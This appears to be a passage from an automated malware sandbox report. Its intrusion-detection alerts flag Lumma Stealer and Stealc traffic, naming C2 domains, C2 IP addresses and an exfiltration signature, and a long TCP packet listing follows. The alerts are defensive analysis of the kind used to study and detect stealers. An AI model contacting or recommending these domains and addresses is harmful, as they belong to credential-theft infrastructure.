2024-11-05T20:53:00.945284+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50180	104.21.5.155	443	TCP
2024-11-05T20:53:00.945284+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50180	104.21.5.155	443	TCP
2024-11-05T20:53:01.459981+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	50180	104.21.5.155	443	TCP
2024-11-05T20:53:03.594653+0100	2057122	ET MALWARE Observed Win32/Lumma Stealer Related Domain (founpiuer .store in TLS SNI)	1	192.168.2.6	50183	104.21.5.155	443	TCP
2024-11-05T20:53:03.594653+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50183	104.21.5.155	443	TCP
2024-11-05T20:53:17.342101+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.6	51046	1.1.1.1	53	UDP
2024-11-05T20:53:20.563437+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50188	185.215.113.206	80	TCP
2024-11-05T20:53:27.562173+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50196	185.215.113.206	80	TCP
2024-11-05T20:53:33.437786+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50197	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 5, 2024 20:50:52.346388102 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.346417904 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.346484900 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.351701975 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.351749897 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.351800919 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.353740931 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.353758097 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.357429981 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.357465029 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.358396053 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.358405113 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.358459949 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.377763033 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.377773046 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.387104034 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.387145996 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.387207985 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.387650967 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.387665987 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.410783052 CET	49714	443	192.168.2.6	20.31.169.57
Nov 5, 2024 20:50:52.411081076 CET	49711	443	192.168.2.6	20.31.169.57
Nov 5, 2024 20:50:52.411123037 CET	49712	443	192.168.2.6	20.31.169.57
Nov 5, 2024 20:50:52.411170959 CET	49713	443	192.168.2.6	20.31.169.57
Nov 5, 2024 20:50:52.444005013 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.444037914 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:52.444111109 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.444389105 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:52.444401026 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:53.108398914 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:53.108526945 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:53.110972881 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:53.111058950 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:53.133102894 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:53.133203983 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:53.182156086 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:53.182291031 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:53.189333916 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:53.189430952 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.046276093 CET	49674	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:50:54.046282053 CET	49673	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:50:54.317586899 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.317610979 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.317922115 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.317946911 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.317991972 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318000078 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318013906 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.318260908 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318272114 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.318398952 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.318424940 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318430901 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.318444967 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318480968 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318703890 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.318744898 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318753004 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318768024 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.318872929 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318887949 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.318891048 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.318902016 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.318994045 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.319000006 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.319044113 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.319092989 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.319197893 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.319242954 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.358787060 CET	49672	443	192.168.2.6	173.222.162.64
Nov 5, 2024 20:50:54.363323927 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.363326073 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.564007044 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.564029932 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.564042091 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.564115047 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.564153910 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.564162016 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.564243078 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.565823078 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.565839052 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.565917015 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.565922976 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.565989971 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.570427895 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.570449114 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.570466995 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.570501089 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.570539951 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.570558071 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.570631027 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.571902037 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.571927071 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.571943045 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.571980000 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.572098970 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.572114944 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.572120905 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.572124004 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.572165012 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.572174072 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.572223902 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.572223902 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.572226048 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.573436022 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.573478937 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.573494911 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.573524952 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.573559999 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.573570013 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.573586941 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.573605061 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.573617935 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.573659897 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.573667049 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.573734045 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.574882984 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.574902058 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.574964046 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.574970961 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.575023890 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.580516100 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.580534935 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.580575943 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.580599070 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.580629110 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.580650091 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.580672026 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.582330942 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.582355976 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.582403898 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.582411051 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.582427025 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.582448006 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.681163073 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.681189060 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.681320906 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.681337118 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.681396008 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.682854891 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.682869911 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.682976007 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.682981968 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.683027029 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.684017897 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.684035063 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.684112072 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.684118032 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.684168100 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.686006069 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.686021090 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.686157942 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.686165094 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.686223030 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.687952042 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.687972069 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.688046932 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.688066006 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.688096046 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.688127041 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.689135075 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.689150095 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.689223051 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.689235926 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.689342022 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.689488888 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.689516068 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.689588070 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.689588070 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.689599991 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.689649105 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.691104889 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691152096 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691154003 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691169024 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691212893 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.691220045 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691248894 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.691260099 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691282988 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.691282988 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.691307068 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.691651106 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691673040 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691705942 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.691718102 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.691735029 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.691785097 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.693057060 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693075895 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693149090 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.693155050 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693200111 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.693581104 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693598032 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693609953 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693624020 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693639994 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.693646908 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693721056 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.693721056 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.693737030 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.693746090 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.693804026 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.694552898 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.694569111 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.694598913 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.694614887 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.694617033 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.694623947 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.694686890 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.694688082 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.694694042 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.694746017 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.695801020 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.695825100 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.695894957 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.695903063 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.695943117 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.702203035 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.702219963 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.702296972 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.702317953 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.702364922 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.703811884 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.703845978 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.703886032 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.703891993 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.703924894 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.705209970 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.705224991 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.705286026 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.705292940 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.705332994 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.706377029 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.706403017 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.706465960 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.706474066 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.706511974 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.798413038 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.798438072 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.798542023 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.798552036 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.798588037 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.798860073 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.798891068 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.798919916 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.798923969 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.798943996 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.798964024 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.799420118 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.799434900 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.799484968 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.799489021 CET	443	49717	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.799523115 CET	49717	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.805372953 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.805399895 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.805471897 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.805493116 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.805536985 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.806222916 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.806271076 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.806296110 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.806303978 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.806334972 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.806353092 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.806906939 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.806926012 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.806987047 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.806999922 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.807037115 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.807353973 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.807368040 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.807425022 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.807432890 CET	443	49718	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.807470083 CET	49718	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.808017969 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.808038950 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.808084011 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.808108091 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.808125973 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.808149099 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.808886051 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.808923006 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.808954954 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.808964014 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.808990002 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.809003115 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.809340000 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.809367895 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.809396982 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.809402943 CET	443	49719	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.809416056 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.809437990 CET	49719	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.809917927 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.809972048 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.809990883 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.810003042 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.810026884 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.810044050 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.810390949 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.810410023 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.810453892 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.810462952 CET	443	49721	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.810483932 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.810508013 CET	49721	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.824420929 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.824435949 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.824613094 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.824628115 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.824672937 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.825459957 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.825495958 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.825529099 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.825535059 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.825561047 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.825576067 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.825804949 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.825824976 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.825870037 CET	49720	443	192.168.2.6	150.171.28.10
Nov 5, 2024 20:50:54.825875998 CET	443	49720	150.171.28.10	192.168.2.6
Nov 5, 2024 20:50:54.825898886 CET	49720	443	192.168.2.6	150.171.28.10
